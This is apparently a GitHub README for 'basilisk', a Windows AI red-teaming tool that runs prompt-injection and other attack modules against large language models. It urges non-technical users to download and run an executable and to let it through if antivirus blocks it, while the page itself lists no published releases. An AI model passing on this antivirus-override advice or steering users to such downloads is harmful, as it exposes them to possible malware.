Skip to content

faheddd4/basilisk

🦎 basilisk - AI Red Teaming Made Simple

Download basilisk

Basilisk is an open-source tool for testing AI systems like GPT-4, Claude, and Gemini. It helps find security issues in AI models by running a set of smart tests. You don't need technical skills to use it.


πŸ›  What is basilisk?

Basilisk is a software program designed to check AI language models for security weaknesses. It uses a method called genetic prompt evolution to create new tests automatically. These tests help find risks like prompt injections and other vulnerabilities in AI systems.

Basilisk includes 32 different test modules based on well-known security standards from OWASP. It works with modern AI models to ensure their security and compliance.


πŸ” Key Features

  • Automatic creation of AI test prompts using genetic algorithms
  • Coverage of major AI security risks mapped to OWASP LLM Top 10
  • Includes 32 test attack types to find weaknesses in AI outputs
  • Compatible with GPT-4, Claude, and Gemini models
  • Easy to run on Windows without needing to code
  • Open source and free to use

πŸ’» System Requirements

Before starting, make sure your computer meets these requirements:

  • Operating System: Windows 10 or later
  • RAM: Minimum 4 GB; 8 GB recommended
  • Storage: At least 500 MB of free disk space
  • Internet connection to download the software and run AI tests
  • Web browser for accessing the download page

πŸš€ Getting Started: Download and Run basilisk

This guide will help you download basilisk on your Windows computer and start using it.

  1. Click the large green download button above or visit the basilisk releases page. This page lists all the available software versions.

  2. Look for the latest release with a file ending in .exe or .zip. Typically, this will be something like basilisk-setup.exe or basilisk-windows.zip.

  3. Click the file name to start the download. If your browser asks where to save the file, choose a folder you will remember, like your desktop or downloads folder.

  4. Once the download finishes, find the file in your folder.

    • If it is an .exe file, double-click to run the installer.
    • If it is a .zip file, right-click and choose "Extract All", then open the extracted folder and double-click the .exe file inside.
  5. Follow the on-screen steps in the installation window. You can keep the default settings unless you want to change where the software installs.

  6. When the installation finishes, basilisk will launch automatically or you can open it from the Start menu by typing "basilisk".


πŸ–₯ How to Use basilisk

The basilisk interface is built for simplicity. After starting the program, you will see a main window with these options:

  • Choose your AI model to test (e.g., GPT-4, Claude)
  • Select the test modules you want to run or use the full set for a complete check
  • Click "Start Test" to run the security tests on the AI model

The software runs a series of automated prompt injections and other attack simulations. It presents the results in an easy-to-understand report. The report highlights possible security weaknesses and provides explanations.

You can save the report as a file for sharing or later review.


πŸ”§ Configuration Options

Basilisk includes a few settings to personalize your experience:

  • AI API Keys: Enter your API keys for supported AI services. This allows basilisk to send requests for testing.
  • Test Speed: Choose how fast you want tests to run. Faster tests use more internet data and CPU.
  • Report Format: Pick from HTML, PDF, or plain text for saving test results.
  • Modules Selection: Enable or disable specific attack modules based on your needs.

πŸ“š Understanding Test Results

After running a test, basilisk shows a summary with:

  • Number of tests passed and failed
  • Types of vulnerabilities found (e.g., prompt injection risk)
  • Severity level for each issue (low, medium, high)
  • Detailed descriptions of what each vulnerability means
  • Suggestions to improve AI security based on the findings

Use this information to improve the safety of your AI implementations or guide developers on what to fix.


πŸ—‚ Where to Find Support and Updates


πŸ” About Security and Privacy

Basilisk runs locally on your Windows PC. It sends test prompts to AI services using your API keys if provided. Make sure to use valid keys from trusted AI providers to avoid service issues.

No personal data leaves your computer during testing, except what is sent to AI APIs for security checks. Use basilisk responsibly and follow your organization's data privacy guidelines.


βš™οΈ Troubleshooting Common Issues

  • Installation fails or errors appear: Make sure your Windows is up to date and you have administrator rights.
  • The program does not start: Check if your antivirus software blocked basilisk and allow it.
  • Tests don’t complete or show errors: Verify your internet connection and that you entered valid AI API keys.
  • Download link does not work: Visit the official releases page again to try another version or report the problem on GitHub.

πŸ“Œ Additional Resources

  • OWASP LLM Top 10 - Learn about common AI security risks
  • AI security blogs and forums - Stay informed on new threats and defenses
  • AI provider documentation for API key setup

Download basilisk

About

Automate adversarial prompt testing on LLMs to identify security weaknesses with an open-source AI red teaming framework.

Topics

Resources

License

Code of conduct

Contributing

Security policy

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors